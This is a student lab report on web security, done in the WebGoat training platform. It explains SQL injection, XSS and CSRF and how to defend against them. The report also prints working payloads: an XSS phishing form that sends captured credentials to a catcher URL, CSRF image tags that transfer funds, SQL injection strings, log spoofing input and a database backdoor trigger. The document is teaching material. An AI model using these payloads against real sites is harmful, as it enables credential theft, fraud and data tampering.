20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践

基础问题回答

1.SQL注入攻击原理,如何防御?

•SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

•防范SQL注入攻击,可从以下方面考虑:

采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析准备,能避免sql注入问题;

不要使用动态拼装sql,使用参数化的sql或者直接使用存储过程进行数据查询存取;

使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;

不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

2.XSS攻击的原理,如何防御?

•XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。

•XSS的防御可以从以下方面来进行:

在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击;

对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤;实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行;去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。

3.CSRF攻击原理,如何防御?

•XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。CSRF一般的攻击过程是,攻击者向目标网站注入一个恶意的CSRF攻击URL地址(跨站url),当(登录)用户访问某特定网页时,如果用户点击了该URL,那么攻击就触发了。

•对于CSRF的防御也可以从以下几个方面入手:

通过referer、token或者验证码来检测用户提交;

避免全站通用的cookie,严格设置cookie的域;

尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作。

实践内容

WebGoat

WebGoat运行在带有java虚拟机的平台之上,是提供Web漏洞说明的平台,也是本次实验的平台。

WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat:

在浏览器上访问localhost:8080/WebGoat,即可开始实验。

Cross-Site Scripting(XSS:跨站脚本攻击)

Phishing with XSS

在搜索框中输入XSS攻击代码。利用XSS可以在已存在的页面中进一步添加元素的特点,创建一个form,让被攻击者在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取其用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,完整的XSS攻击代码如下:

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

过程如图:

Stored XSS Attacks

创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。title中可随意输入,然后在message中输入代码,比如:<script>alert("this is hacker xzh");</script>

过程如图:

Reflected XSS Attacks

输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看,如果我们将带有攻击性的URL作为输入源,例如输入,就会弹出对话框:

与存储型xss攻击对比:两者所用的原理不一样,存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板,而这个实验中用的是反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的,所以一般来说存储型XSS攻击危害更大。

Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

在message框中输入这样一串代码:<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=8000"/> 具体的screen和menu参数参照参数表,提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的8000元,从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

同样需要构造CSRF攻击,该攻击包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=6000,transferFunds=CONFIRM),直接在message中写入了攻击代码即可,然后点击CONFIRM,查看源码已被修改,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=281&menu=900&transferFunds=CONFIRM,成功转走了6000元:

Injection Flaws(注入弱点攻击)

Numeric SQL Injection

通过注入SQL字符串的方式查看所有的天气数据,只要加上一个1=1这种永真式即可达到我们的目的,利用firebug即可直接改,如果觉得找代码不方便,可以先点击文本框,右键选择element page即可直接找到要改的代码,在任意一个值比如103旁边加上or 1=1,再选中NewYork,点Go,可以看到所有天气数据信息:

Log Spoofing

我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入xzh%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

String SQL Injection

基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --,点Go,攻击成功,所有用户信息都被显示出来:

LAB:SQL Injection(Stage 1:String SQL Injection)

以用户Neville登录,基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --;查看源代码,最长只能输入8位,把长度限定改为15,把文本框格式改为text。

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

数字型注入,要求使用一个普通员工的账户,浏览其BOSS的账户信息。首先通过Larry的账户登陆(密码为larry),更改登录后页面源代码value值为112 or 1=1 order by salary desc,点击ViewProfile查看信息:

Database Backdoors

可随意输入一个用户id,得到相关信息,发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:102; update employee set salary=200000,成功把该用户的工资涨到了200000,接下来使用语句102;CREATE TRIGGER xzhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='Xxzhkuma@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为自己的:

实验最终完成情况

关于代理设置

好像只有Blind Numeric SQL Injection这个实验需要用到代理分析,根据老师的实验指导进行了代理设置,但是在最终需要抓包然后send to intruder进行暴力破解时,没有出现相关的信息。。。

实践体会

实践成功不是关键,关键要从注入的代码中理解攻击原理。

20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践的更多相关文章

  1. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  2. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  3. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. 20145311王亦徐 《网络对抗技术》 Web安全基础实践

    2014531王亦徐 <网络对抗技术> Web安全基础实践 实验内容 利用WebGoat平台尝试了一些XSS.CSRF.SQL注入攻击 基础问题回答 1.SQL注入攻击原理,如何防御原理: ...

  6. 20145325张梓靖 《网络对抗技术》 Web安全基础实践

    20145325张梓靖 <网络对抗技术> Web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Ref ...

  7. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  8. 20155204《网络对抗》Exp9 Web安全基础实践

    20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...

  9. 20155217《网络对抗》Exp09 Web安全基础实践

    20155217<网络对抗>Exp09 Web安全基础实践 实践内容 关于webgoat:询问了很多人在安装webgoat时出现了错误,安装失败,因此直接通过同学copy了老师的虚拟机进行 ...

  10. 20155227《网络对抗》Exp9 Web安全基础实践

    20155227<网络对抗>Exp9 Web安全基础实践 实验内容 关于WebGoat Cross-Site Scripting(XSS)练习 Injection Flaws练习 CSRF ...

随机推荐

  1. ps -aux | egrep 多个值

    ps -aux |egrep "(schedule.jar|positec.jar|time_server.jar|tomcat-xweb/)"

  2. java重构、js与接口的实现

    一.接口 接口的方法不一定必须实现的!!! 加入default,这样的方法可以不实现,如图所示 二.关于语言的特性 1.C++多继承 2.很多编程语言JavaScript.Python支持混入(Mix ...

  3. swift 下storyboard的页面跳转和传值

    ------------------1. 最简单的方法 拖拽, 这个就不用多解释了吧. 直接拖拽到另一个视图控制器, 选择 show, 就行了. 2. 利用 Segue 方法 (这里主要是 方法1 的 ...

  4. 如何获取Input标签自定义属性的值?

    HTML代码: <input type="hidden" value="${Name?if_exists}" id='ID' busCode = &quo ...

  5. Windows使用中的一些小技巧

    1.网站保存在桌面 在桌面新建一个快捷方式,然后输入网址即可.

  6. 前端框架之SweetAlert

    简介 SweetAlert是一款很好用的弹出框框架 下载 点我下载 导入 博主用的是bootstrap-sweetalert,所以要依赖bootstrap,导入前先导入原生jQuery以及bootst ...

  7. Linux文件操作相关命令

    1.创建文件夹: [root@izuf6ih01h8fzeziddwkfdz sm]# mkdir a 创建一个名为a的文件夹 2.创建文件: [root@izuf6ih01h8fzeziddwkfd ...

  8. zzUbuntu安装配置Qt环境

    zz from http://blog.csdn.net/szstephenzhou/article/details/28407417 安装 QT4.8.6库+QT Creator 2.5.0 下载地 ...

  9. (转)spring mvc forward与redirect

    forward 转发,如return "forward:/hello"; 浏览器的地址栏不会变,但是有视图返回来 redirect 重定向,如return "redire ...

  10. 查看Oracle相关日志 ADRCI

    ADRCI 进去以后 show  home